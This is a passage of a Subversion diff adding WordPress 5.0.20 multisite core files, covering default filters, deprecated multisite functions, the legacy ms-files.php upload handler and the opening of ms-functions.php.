+	if ( !defined( 'ADMIN_COOKIE_PATH' ) ) {
+		if ( ! is_subdomain_install() || trim( parse_url( get_option( 'siteurl' ), PHP_URL_PATH ), '/' ) ) {
+			define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH );
+		} else {
+			define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );
+		}
+	}
+
+	/**
+	 * @since 2.0.0
+	 */
+	if ( !defined('COOKIE_DOMAIN') && is_subdomain_install() ) {
+		if ( !empty( $current_network->cookie_domain ) )
+			define('COOKIE_DOMAIN', '.' . $current_network->cookie_domain);
+		else
+			define('COOKIE_DOMAIN', '.' . $current_network->domain);
+	}
+}
+
+/**
+ * Defines Multisite file constants.
+ *
+ * Exists for backward compatibility with legacy file-serving through
+ * wp-includes/ms-files.php (wp-content/blogs.php in MU).
+ *
+ * @since 3.0.0
+ */
+function ms_file_constants() {
+	/**
+	 * Optional support for X-Sendfile header
+	 * @since 3.0.0
+	 */
+	if ( !defined( 'WPMU_SENDFILE' ) )
+		define( 'WPMU_SENDFILE', false );
+
+	/**
+	 * Optional support for X-Accel-Redirect header
+	 * @since 3.0.0
+	 */
+	if ( !defined( 'WPMU_ACCEL_REDIRECT' ) )
+		define( 'WPMU_ACCEL_REDIRECT', false );
+}
+
+/**
+ * Defines Multisite subdomain constants and handles warnings and notices.
+ *
+ * VHOST is deprecated in favor of SUBDOMAIN_INSTALL, which is a bool.
+ *
+ * On first call, the constants are checked and defined. On second call,
+ * we will have translations loaded and can trigger warnings easily.
+ *
+ * @since 3.0.0
+ *
+ * @staticvar bool $subdomain_error
+ * @staticvar bool $subdomain_error_warn
+ */
+function ms_subdomain_constants() {
+	static $subdomain_error = null;
+	static $subdomain_error_warn = null;
+
+	if ( false === $subdomain_error ) {
+		return;
+	}
+
+	if ( $subdomain_error ) {
+		$vhost_deprecated = sprintf(
+			/* translators: 1: VHOST, 2: SUBDOMAIN_INSTALL, 3: wp-config.php, 4: is_subdomain_install() */
+			__( 'The constant %1$s <strong>is deprecated</strong>. Use the boolean constant %2$s in %3$s to enable a subdomain configuration. Use %4$s to check whether a subdomain configuration is enabled.' ),
+			'<code>VHOST</code>',
+			'<code>SUBDOMAIN_INSTALL</code>',
+			'<code>wp-config.php</code>',
+			'<code>is_subdomain_install()</code>'
+		);
+		if ( $subdomain_error_warn ) {
+			trigger_error( __( '<strong>Conflicting values for the constants VHOST and SUBDOMAIN_INSTALL.</strong> The value of SUBDOMAIN_INSTALL will be assumed to be your subdomain configuration setting.' ) . ' ' . $vhost_deprecated, E_USER_WARNING );
+		} else {
+	 		_deprecated_argument( 'define()', '3.0.0', $vhost_deprecated );
+		}
+		return;
+	}
+
+	if ( defined( 'SUBDOMAIN_INSTALL' ) && defined( 'VHOST' ) ) {
+		$subdomain_error = true;
+		if ( SUBDOMAIN_INSTALL !== ( 'yes' == VHOST ) ) {
+			$subdomain_error_warn = true;
+		}
+	} elseif ( defined( 'SUBDOMAIN_INSTALL' ) ) {
+		$subdomain_error = false;
+		define( 'VHOST', SUBDOMAIN_INSTALL ? 'yes' : 'no' );
+	} elseif ( defined( 'VHOST' ) ) {
+		$subdomain_error = true;
+		define( 'SUBDOMAIN_INSTALL', 'yes' == VHOST );
+	} else {
+		$subdomain_error = false;
+		define( 'SUBDOMAIN_INSTALL', false );
+		define( 'VHOST', 'no' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/ms-default-filters.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-default-filters.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-default-filters.php	(revision 56912)
@@ -0,0 +1,100 @@
+<?php
+/**
+ * Sets up the default filters and actions for Multisite.
+ *
+ * If you need to remove a default hook, this file will give you the priority
+ * for which to use to remove the hook.
+ *
+ * Not all of the Multisite default hooks are found in ms-default-filters.php
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @see default-filters.php
+ * @since 3.0.0
+ */
+
+add_action( 'init', 'ms_subdomain_constants' );
+
+// Functions
+add_action( 'update_option_blog_public', 'update_blog_public', 10, 2 );
+add_filter( 'option_users_can_register', 'users_can_register_signup_filter' );
+add_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' );
+
+// Users
+add_filter( 'wpmu_validate_user_signup', 'signup_nonce_check' );
+add_action( 'init', 'maybe_add_existing_user_to_blog' );
+add_action( 'wpmu_new_user', 'newuser_notify_siteadmin' );
+add_action( 'wpmu_activate_user', 'add_new_user_to_blog', 10, 3 );
+add_action( 'wpmu_activate_user', 'wpmu_welcome_user_notification', 10, 3 );
+add_action( 'after_signup_user', 'wpmu_signup_user_notification', 10, 4 );
+add_action( 'network_site_new_created_user',   'wp_send_new_user_notifications' );
+add_action( 'network_site_users_created_user', 'wp_send_new_user_notifications' );
+add_action( 'network_user_new_created_user',   'wp_send_new_user_notifications' );
+add_filter( 'sanitize_user', 'strtolower' );
+
+// Roles
+add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );
+
+// Blogs
+add_filter( 'wpmu_validate_blog_signup', 'signup_nonce_check' );
+add_action( 'wpmu_new_blog', 'wpmu_log_new_registrations', 10, 2 );
+add_action( 'wpmu_new_blog', 'newblog_notify_siteadmin', 10, 2 );
+add_action( 'wpmu_activate_blog', 'wpmu_welcome_notification', 10, 5 );
+add_action( 'after_signup_site', 'wpmu_signup_blog_notification', 10, 7 );
+
+// Register Nonce
+add_action( 'signup_hidden_fields', 'signup_nonce_fields' );
+
+// Template
+add_action( 'template_redirect', 'maybe_redirect_404' );
+add_filter( 'allowed_redirect_hosts', 'redirect_this_site' );
+
+// Administration
+add_filter( 'term_id_filter', 'global_terms', 10, 2 );
+add_action( 'delete_post', '_update_posts_count_on_delete' );
+add_action( 'delete_post', '_update_blog_date_on_post_delete' );
+add_action( 'transition_post_status', '_update_blog_date_on_post_publish', 10, 3 );
+add_action( 'transition_post_status', '_update_posts_count_on_transition_post_status', 10, 3 );
+
+// Counts
+add_action( 'admin_init', 'wp_schedule_update_network_counts');
+add_action( 'update_network_counts', 'wp_update_network_counts', 10, 0 );
+foreach ( array( 'user_register', 'deleted_user', 'wpmu_new_user', 'make_spam_user', 'make_ham_user' ) as $action )
+	add_action( $action, 'wp_maybe_update_network_user_counts', 10, 0 );
+foreach ( array( 'make_spam_blog', 'make_ham_blog', 'archive_blog', 'unarchive_blog', 'make_delete_blog', 'make_undelete_blog' ) as $action )
+	add_action( $action, 'wp_maybe_update_network_site_counts', 10, 0 );
+unset( $action );
+
+// Files
+add_filter( 'wp_upload_bits', 'upload_is_file_too_big' );
+add_filter( 'import_upload_size_limit', 'fix_import_form_size' );
+add_filter( 'upload_mimes', 'check_upload_mimes' );
+add_filter( 'upload_size_limit', 'upload_size_limit_filter' );
+add_action( 'upload_ui_over_quota', 'multisite_over_quota_message' );
+
+// Mail
+add_action( 'phpmailer_init', 'fix_phpmailer_messageid' );
+
+// Disable somethings by default for multisite
+add_filter( 'enable_update_services_configuration', '__return_false' );
+if ( ! defined('POST_BY_EMAIL') || ! POST_BY_EMAIL ) // back compat constant.
+	add_filter( 'enable_post_by_email_configuration', '__return_false' );
+if ( ! defined('EDIT_ANY_USER') || ! EDIT_ANY_USER ) // back compat constant.
+	add_filter( 'enable_edit_any_user_configuration', '__return_false' );
+add_filter( 'force_filtered_html_on_import', '__return_true' );
+
+// WP_HOME and WP_SITEURL should not have any effect in MS
+remove_filter( 'option_siteurl', '_config_wp_siteurl' );
+remove_filter( 'option_home',    '_config_wp_home'    );
+
+// Some options changes should trigger site details refresh.
+add_action( 'update_option_blogname',   'clean_site_details_cache', 10, 0 );
+add_action( 'update_option_siteurl',    'clean_site_details_cache', 10, 0 );
+add_action( 'update_option_post_count', 'clean_site_details_cache', 10, 0 );
+add_action( 'update_option_home',       'clean_site_details_cache', 10, 0 );
+
+// If the network upgrade hasn't run yet, assume ms-files.php rewriting is used.
+add_filter( 'default_site_option_ms_files_rewriting', '__return_true' );
+
+// Whitelist multisite domains for HTTP requests
+add_filter( 'http_request_host_is_external', 'ms_allowed_http_request_hosts', 20, 2 );
Index: /tags/5.0.20/src/wp-includes/ms-deprecated.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-deprecated.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-deprecated.php	(revision 56912)
@@ -0,0 +1,553 @@
+<?php
+/**
+ * Deprecated functions from WordPress MU and the multisite feature. You shouldn't
+ * use these functions and look for the alternatives instead. The functions will be
+ * removed in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ * @since 3.0.0
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+/**
+ * Get the "dashboard blog", the blog where users without a blog edit their profile data.
+ * Dashboard blog functionality was removed in WordPress 3.1, replaced by the user admin.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.1.0 Use get_site()
+ * @see get_site()
+ *
+ * @return WP_Site Current site object.
+ */
+function get_dashboard_blog() {
+    _deprecated_function( __FUNCTION__, '3.1.0', 'get_site()' );
+    if ( $blog = get_site_option( 'dashboard_blog' ) ) {
+	    return get_site( $blog );
+    }
+
+    return get_site( get_network()->site_id );
+}
+
+/**
+ * Generates a random password.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use wp_generate_password()
+ * @see wp_generate_password()
+ *
+ * @param int $len Optional. The length of password to generate. Default 8.
+ */
+function generate_random_password( $len = 8 ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_generate_password()' );
+	return wp_generate_password( $len );
+}
+
+/**
+ * Determine if user is a site admin.
+ *
+ * Plugins should use is_multisite() instead of checking if this function exists
+ * to determine if multisite is enabled.
+ *
+ * This function must reside in a file included only if is_multisite() due to
+ * legacy function_exists() checks to determine if multisite is enabled.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use is_super_admin()
+ * @see is_super_admin()
+ *
+ * @param string $user_login Optional. Username for the user to check. Default empty.
+ */
+function is_site_admin( $user_login = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'is_super_admin()' );
+
+	if ( empty( $user_login ) ) {
+		$user_id = get_current_user_id();
+		if ( !$user_id )
+			return false;
+	} else {
+		$user = get_user_by( 'login', $user_login );
+		if ( ! $user->exists() )
+			return false;
+		$user_id = $user->ID;
+	}
+
+	return is_super_admin( $user_id );
+}
+
+if ( !function_exists( 'graceful_fail' ) ) :
+/**
+ * Deprecated functionality to gracefully fail.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use wp_die()
+ * @see wp_die()
+ */
+function graceful_fail( $message ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_die()' );
+	$message = apply_filters( 'graceful_fail', $message );
+	$message_template = apply_filters( 'graceful_fail_template',
+'<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Error!</title>
+<style type="text/css">
+img {
+	border: 0;
+}
+body {
+line-height: 1.6em; font-family: Georgia, serif; width: 390px; margin: auto;
+text-align: center;
+}
+.message {
+	font-size: 22px;
+	width: 350px;
+	margin: auto;
+}
+</style>
+</head>
+<body>
+<p class="message">%s</p>
+</body>
+</html>' );
+	die( sprintf( $message_template, $message ) );
+}
+endif;
+
+/**
+ * Deprecated functionality to retrieve user information.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use get_user_by()
+ * @see get_user_by()
+ *
+ * @param string $username Username.
+ */
+function get_user_details( $username ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'get_user_by()' );
+	return get_user_by('login', $username);
+}
+
+/**
+ * Deprecated functionality to clear the global post cache.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use clean_post_cache()
+ * @see clean_post_cache()
+ *
+ * @param int $post_id Post ID.
+ */
+function clear_global_post_cache( $post_id ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'clean_post_cache()' );
+}
+
+/**
+ * Deprecated functionality to determin if the current site is the main site.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use is_main_site()
+ * @see is_main_site()
+ */
+function is_main_blog() {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'is_main_site()' );
+	return is_main_site();
+}
+
+/**
+ * Deprecated functionality to validate an email address.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use is_email()
+ * @see is_email()
+ *
+ * @param string $email        Email address to verify.
+ * @param bool   $check_domain Deprecated.
+ * @return string|bool Either false or the valid email address.
+ */
+function validate_email( $email, $check_domain = true) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'is_email()' );
+	return is_email( $email, $check_domain );
+}
+
+/**
+ * Deprecated functionality to retrieve a list of all sites.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0 Use wp_get_sites()
+ * @see wp_get_sites()
+ *
+ * @param int    $start      Optional. Offset for retrieving the blog list. Default 0.
+ * @param int    $num        Optional. Number of blogs to list. Default 10.
+ * @param string $deprecated Unused.
+ */
+function get_blog_list( $start = 0, $num = 10, $deprecated = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_get_sites()' );
+
+	global $wpdb;
+	$blogs = $wpdb->get_results( $wpdb->prepare( "SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' ORDER BY registered DESC", get_current_network_id() ), ARRAY_A );
+
+	$blog_list = array();
+	foreach ( (array) $blogs as $details ) {
+		$blog_list[ $details['blog_id'] ] = $details;
+		$blog_list[ $details['blog_id'] ]['postcount'] = $wpdb->get_var( "SELECT COUNT(ID) FROM " . $wpdb->get_blog_prefix( $details['blog_id'] ). "posts WHERE post_status='publish' AND post_type='post'" );
+	}
+
+	if ( ! $blog_list ) {
+		return array();
+	}
+
+	if ( $num == 'all' ) {
+		return array_slice( $blog_list, $start, count( $blog_list ) );
+	} else {
+		return array_slice( $blog_list, $start, $num );
+	}
+}
+
+/**
+ * Deprecated functionality to retrieve a list of the most active sites.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.0.0
+ *
+ * @param int  $num     Optional. Number of activate blogs to retrieve. Default 10.
+ * @param bool $display Optional. Whether or not to display the most active blogs list. Default true.
+ * @return array List of "most active" sites.
+ */
+function get_most_active_blogs( $num = 10, $display = true ) {
+	_deprecated_function( __FUNCTION__, '3.0.0' );
+
+	$blogs = get_blog_list( 0, 'all', false ); // $blog_id -> $details
+	if ( is_array( $blogs ) ) {
+		reset( $blogs );
+		$most_active = array();
+		$blog_list = array();
+		foreach ( (array) $blogs as $key => $details ) {
+			$most_active[ $details['blog_id'] ] = $details['postcount'];
+			$blog_list[ $details['blog_id'] ] = $details; // array_slice() removes keys!!
+		}
+		arsort( $most_active );
+		reset( $most_active );
+		$t = array();
+		foreach ( (array) $most_active as $key => $details ) {
+			$t[ $key ] = $blog_list[ $key ];
+		}
+		unset( $most_active );
+		$most_active = $t;
+	}
+
+	if ( $display ) {
+		if ( is_array( $most_active ) ) {
+			reset( $most_active );
+			foreach ( (array) $most_active as $key => $details ) {
+				$url = esc_url('http://' . $details['domain'] . $details['path']);
+				echo '<li>' . $details['postcount'] . " <a href='$url'>$url</a></li>";
+			}
+		}
+	}
+	return array_slice( $most_active, 0, $num );
+}
+
+/**
+ * Redirect a user based on $_GET or $_POST arguments.
+ *
+ * The function looks for redirect arguments in the following order:
+ * 1) $_GET['ref']
+ * 2) $_POST['ref']
+ * 3) $_SERVER['HTTP_REFERER']
+ * 4) $_GET['redirect']
+ * 5) $_POST['redirect']
+ * 6) $url
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.3.0 Use wp_redirect()
+ * @see wp_redirect()
+ *
+ * @param string $url Optional. Redirect URL. Default empty.
+ */
+function wpmu_admin_do_redirect( $url = '' ) {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_redirect()' );
+
+	$ref = '';
+	if ( isset( $_GET['ref'] ) && isset( $_POST['ref'] ) && $_GET['ref'] !== $_POST['ref'] ) {
+		wp_die( __( 'A variable mismatch has been detected.' ), __( 'Sorry, you are not allowed to view this item.' ), 400 );
+	} elseif ( isset( $_POST['ref'] ) ) {
+		$ref = $_POST[ 'ref' ];
+	} elseif ( isset( $_GET['ref'] ) ) {
+		$ref = $_GET[ 'ref' ];
+	}
+
+	if ( $ref ) {
+		$ref = wpmu_admin_redirect_add_updated_param( $ref );
+		wp_redirect( $ref );
+		exit();
+	}
+	if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
+		wp_redirect( $_SERVER['HTTP_REFERER'] );
+		exit();
+	}
+
+	$url = wpmu_admin_redirect_add_updated_param( $url );
+	if ( isset( $_GET['redirect'] ) && isset( $_POST['redirect'] ) && $_GET['redirect'] !== $_POST['redirect'] ) {
+		wp_die( __( 'A variable mismatch has been detected.' ), __( 'Sorry, you are not allowed to view this item.' ), 400 );
+	} elseif ( isset( $_GET['redirect'] ) ) {
+		if ( substr( $_GET['redirect'], 0, 2 ) == 's_' )
+			$url .= '&action=blogs&s='. esc_html( substr( $_GET['redirect'], 2 ) );
+	} elseif ( isset( $_POST['redirect'] ) ) {
+		$url = wpmu_admin_redirect_add_updated_param( $_POST['redirect'] );
+	}
+	wp_redirect( $url );
+	exit();
+}
+
+/**
+ * Adds an 'updated=true' argument to a URL.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.3.0 Use add_query_arg()
+ * @see add_query_arg()
+ *
+ * @param string $url Optional. Redirect URL. Default empty.
+ * @return string
+ */
+function wpmu_admin_redirect_add_updated_param( $url = '' ) {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'add_query_arg()' );
+
+	if ( strpos( $url, 'updated=true' ) === false ) {
+		if ( strpos( $url, '?' ) === false )
+			return $url . '?updated=true';
+		else
+			return $url . '&updated=true';
+	}
+	return $url;
+}
+
+/**
+ * Get a numeric user ID from either an email address or a login.
+ *
+ * A numeric string is considered to be an existing user ID
+ * and is simply returned as such.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.6.0 Use get_user_by()
+ * @see get_user_by()
+ *
+ * @param string $string Either an email address or a login.
+ * @return int
+ */
+function get_user_id_from_string( $string ) {
+	_deprecated_function( __FUNCTION__, '3.6.0', 'get_user_by()' );
+
+	if ( is_email( $string ) )
+		$user = get_user_by( 'email', $string );
+	elseif ( is_numeric( $string ) )
+		return $string;
+	else
+		$user = get_user_by( 'login', $string );
+
+	if ( $user )
+		return $user->ID;
+	return 0;
+}
+
+/**
+ * Get a full blog URL, given a domain and a path.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.7.0
+ *
+ * @param string $domain
+ * @param string $path
+ * @return string
+ */
+function get_blogaddress_by_domain( $domain, $path ) {
+	_deprecated_function( __FUNCTION__, '3.7.0' );
+
+	if ( is_subdomain_install() ) {
+		$url = "http://" . $domain.$path;
+	} else {
+		if ( $domain != $_SERVER['HTTP_HOST'] ) {
+			$blogname = substr( $domain, 0, strpos( $domain, '.' ) );
+			$url = 'http://' . substr( $domain, strpos( $domain, '.' ) + 1 ) . $path;
+			// we're not installing the main blog
+			if ( $blogname != 'www.' )
+				$url .= $blogname . '/';
+		} else { // main blog
+			$url = 'http://' . $domain . $path;
+		}
+	}
+	return esc_url_raw( $url );
+}
+
+/**
+ * Create an empty blog.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 4.4.0
+ *
+ * @param string $domain       The new blog's domain.
+ * @param string $path         The new blog's path.
+ * @param string $weblog_title The new blog's title.
+ * @param int    $site_id      Optional. Defaults to 1.
+ * @return string|int The ID of the newly created blog
+ */
+function create_empty_blog( $domain, $path, $weblog_title, $site_id = 1 ) {
+	_deprecated_function( __FUNCTION__, '4.4.0' );
+
+	if ( empty($path) )
+		$path = '/';
+
+	// Check if the domain has been used already. We should return an error message.
+	if ( domain_exists($domain, $path, $site_id) )
+		return __( '<strong>ERROR</strong>: Site URL already taken.' );
+
+	// Need to back up wpdb table names, and create a new wp_blogs entry for new blog.
+	// Need to get blog_id from wp_blogs, and create new table names.
+	// Must restore table names at the end of function.
+
+	if ( ! $blog_id = insert_blog($domain, $path, $site_id) )
+		return __( '<strong>ERROR</strong>: problem creating site entry.' );
+
+	switch_to_blog($blog_id);
+	install_blog($blog_id);
+	restore_current_blog();
+
+	return $blog_id;
+}
+
+/**
+ * Get the admin for a domain/path combination.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 4.4.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $domain Optional. Network domain.
+ * @param string $path   Optional. Network path.
+ * @return array|false The network admins.
+ */
+function get_admin_users_for_domain( $domain = '', $path = '' ) {
+	_deprecated_function( __FUNCTION__, '4.4.0' );
+
+	global $wpdb;
+
+	if ( ! $domain ) {
+		$network_id = get_current_network_id();
+	} else {
+		$_networks  = get_networks( array(
+			'fields' => 'ids',
+			'number' => 1,
+			'domain' => $domain,
+			'path'   => $path,
+		) );
+		$network_id = ! empty( $_networks ) ? array_shift( $_networks ) : 0;
+	}
+
+	if ( $network_id )
+		return $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_pass FROM $wpdb->users AS u, $wpdb->sitemeta AS sm WHERE sm.meta_key = 'admin_user_id' AND u.ID = sm.meta_value AND sm.site_id = %d", $network_id ), ARRAY_A );
+
+	return false;
+}
+
+/**
+ * Return an array of sites for a network or networks.
+ *
+ * @since 3.7.0
+ * @deprecated 4.6.0 Use get_sites()
+ * @see get_sites()
+ *
+ * @param array $args {
+ *     Array of default arguments. Optional.
+ *
+ *     @type int|array $network_id A network ID or array of network IDs. Set to null to retrieve sites
+ *                                 from all networks. Defaults to current network ID.
+ *     @type int       $public     Retrieve public or non-public sites. Default null, for any.
+ *     @type int       $archived   Retrieve archived or non-archived sites. Default null, for any.
+ *     @type int       $mature     Retrieve mature or non-mature sites. Default null, for any.
+ *     @type int       $spam       Retrieve spam or non-spam sites. Default null, for any.
+ *     @type int       $deleted    Retrieve deleted or non-deleted sites. Default null, for any.
+ *     @type int       $limit      Number of sites to limit the query to. Default 100.
+ *     @type int       $offset     Exclude the first x sites. Used in combination with the $limit parameter. Default 0.
+ * }
+ * @return array An empty array if the installation is considered "large" via wp_is_large_network(). Otherwise,
+ *               an associative array of site data arrays, each containing the site (network) ID, blog ID,
+ *               site domain and path, dates registered and modified, and the language ID. Also, boolean
+ *               values for whether the site is public, archived, mature, spam, and/or deleted.
+ */
+function wp_get_sites( $args = array() ) {
+	_deprecated_function( __FUNCTION__, '4.6.0', 'get_sites()' );
+
+	if ( wp_is_large_network() )
+		return array();
+
+	$defaults = array(
+		'network_id' => get_current_network_id(),
+		'public'     => null,
+		'archived'   => null,
+		'mature'     => null,
+		'spam'       => null,
+		'deleted'    => null,
+		'limit'      => 100,
+		'offset'     => 0,
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	// Backwards compatibility
+	if( is_array( $args['network_id'] ) ){
+		$args['network__in'] = $args['network_id'];
+		$args['network_id'] = null;
+	}
+
+	if( is_numeric( $args['limit'] ) ){
+		$args['number'] = $args['limit'];
+		$args['limit'] = null;
+	} elseif ( ! $args['limit'] ) {
+		$args['number'] = 0;
+		$args['limit'] = null;
+	}
+
+	// Make sure count is disabled.
+	$args['count'] = false;
+
+	$_sites  = get_sites( $args );
+
+	$results = array();
+
+	foreach ( $_sites as $_site ) {
+		$_site = get_site( $_site );
+		$results[] = $_site->to_array();
+	}
+
+	return $results;
+}
+
+/**
+ * Check whether a usermeta key has to do with the current blog.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 4.9.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $key
+ * @param int    $user_id Optional. Defaults to current user.
+ * @param int    $blog_id Optional. Defaults to current blog.
+ * @return bool
+ */
+function is_user_option_local( $key, $user_id = 0, $blog_id = 0 ) {
+	global $wpdb;
+
+	_deprecated_function( __FUNCTION__, '4.9.0' );
+
+	$current_user = wp_get_current_user();
+	if ( $blog_id == 0 ) {
+		$blog_id = get_current_blog_id();
+	}
+	$local_key = $wpdb->get_blog_prefix( $blog_id ) . $key;
+
+	return isset( $current_user->$local_key );
+}
Index: /tags/5.0.20/src/wp-includes/ms-files.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-files.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-files.php	(revision 56912)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * Multisite upload handler.
+ *
+ * @since 3.0.0
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ */
+
+define( 'SHORTINIT', true );
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+
+if ( !is_multisite() )
+	die( 'Multisite support not enabled' );
+
+ms_file_constants();
+
+error_reporting( 0 );
+
+if ( $current_blog->archived == '1' || $current_blog->spam == '1' || $current_blog->deleted == '1' ) {
+	status_header( 404 );
+	die( '404 &#8212; File not found.' );
+}
+
+$file = rtrim( BLOGUPLOADDIR, '/' ) . '/' . str_replace( '..', '', $_GET[ 'file' ] );
+if ( !is_file( $file ) ) {
+	status_header( 404 );
+	die( '404 &#8212; File not found.' );
+}
+
+$mime = wp_check_filetype( $file );
+if ( false === $mime[ 'type' ] && function_exists( 'mime_content_type' ) )
+	$mime[ 'type' ] = mime_content_type( $file );
+
+if ( $mime[ 'type' ] )
+	$mimetype = $mime[ 'type' ];
+else
+	$mimetype = 'image/' . substr( $file, strrpos( $file, '.' ) + 1 );
+
+header( 'Content-Type: ' . $mimetype ); // always send this
+if ( false === strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) )
+	header( 'Content-Length: ' . filesize( $file ) );
+
+// Optional support for X-Sendfile and X-Accel-Redirect
+if ( WPMU_ACCEL_REDIRECT ) {
+	header( 'X-Accel-Redirect: ' . str_replace( WP_CONTENT_DIR, '', $file ) );
+	exit;
+} elseif ( WPMU_SENDFILE ) {
+	header( 'X-Sendfile: ' . $file );
+	exit;
+}
+
+$last_modified = gmdate( 'D, d M Y H:i:s', filemtime( $file ) );
+$etag = '"' . md5( $last_modified ) . '"';
+header( "Last-Modified: $last_modified GMT" );
+header( 'ETag: ' . $etag );
+header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + 100000000 ) . ' GMT' );
+
+// Support for Conditional GET - use stripslashes to avoid formatting.php dependency
+$client_etag = isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ? stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) : false;
+
+if ( ! isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) )
+	$_SERVER['HTTP_IF_MODIFIED_SINCE'] = false;
+
+$client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] );
+// If string is empty, return 0. If not, attempt to parse into a timestamp
+$client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0;
+
+// Make a timestamp for our most recent modification...
+$modified_timestamp = strtotime($last_modified);
+
+if ( ( $client_last_modified && $client_etag )
+	? ( ( $client_modified_timestamp >= $modified_timestamp) && ( $client_etag == $etag ) )
+	: ( ( $client_modified_timestamp >= $modified_timestamp) || ( $client_etag == $etag ) )
+	) {
+	status_header( 304 );
+	exit;
+}
+
+// If we made it this far, just serve the file
+readfile( $file );
+flush();
Index: /tags/5.0.20/src/wp-includes/ms-functions.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-functions.php	(revision 56912)
@@ -0,0 +1,2744 @@
+<?php
+/**
+ * Multisite WordPress API
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/**
+ * Gets the network's site and user counts.
+ *
+ * @since MU (3.0.0)
+ *
+ * @return array Site and user count for the network.
+ */
+function get_sitestats() {
+	$stats = array(
+		'blogs' => get_blog_count(),
+		'users' => get_user_count(),
+	);
+
+	return $stats;
+}
+
+/**
+ * Get one of a user's active blogs
+ *
+ * Returns the user's primary blog, if they have one and
+ * it is active. If it's inactive, function returns another
+ * active blog of the user. If none are found, the user
+ * is added as a Subscriber to the Dashboard Blog and that blog
+ * is returned.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $user_id The unique ID of the user
+ * @return WP_Site|void The blog object
+ */
+function get_active_blog_for_user( $user_id ) {
+	$blogs = get_blogs_of_user( $user_id );
+	if ( empty( $blogs ) )
+		return;
+
+	if ( ! is_multisite() ) {
+		return $blogs[ get_current_blog_id() ];
+	}
+
+	$primary_blog = get_user_meta( $user_id, 'primary_blog', true );
+	$first_blog = current($blogs);
+	if ( false !== $primary_blog ) {
+		if ( ! isset( $blogs[ $primary_blog ] ) ) {
+			update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
+			$primary = get_site( $first_blog->userblog_id );
+		} else {
+			$primary = get_site( $primary_blog );
+		}
+	} else {
+		//TODO Review this call to add_user_to_blog too - to get here the user must have a role on this blog?
+		$result = add_user_to_blog( $first_blog->userblog_id, $user_id, 'subscriber' );
+
+		if ( ! is_wp_error( $result ) ) {
+			update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
+			$primary = $first_blog;
+		}
+	}
+
+	if ( ( ! is_object( $primary ) ) || ( $primary->archived == 1 || $primary->spam == 1 || $primary->deleted == 1 ) ) {
+		$blogs = get_blogs_of_user( $user_id, true ); // if a user's primary blog is shut down, check their other blogs.
+		$ret = false;
+		if ( is_array( $blogs ) && count( $blogs ) > 0 ) {
+			foreach ( (array) $blogs as $blog_id => $blog ) {
+				if ( $blog->site_id != get_current_network_id() )
+					continue;
+				$details = get_site( $blog_id );
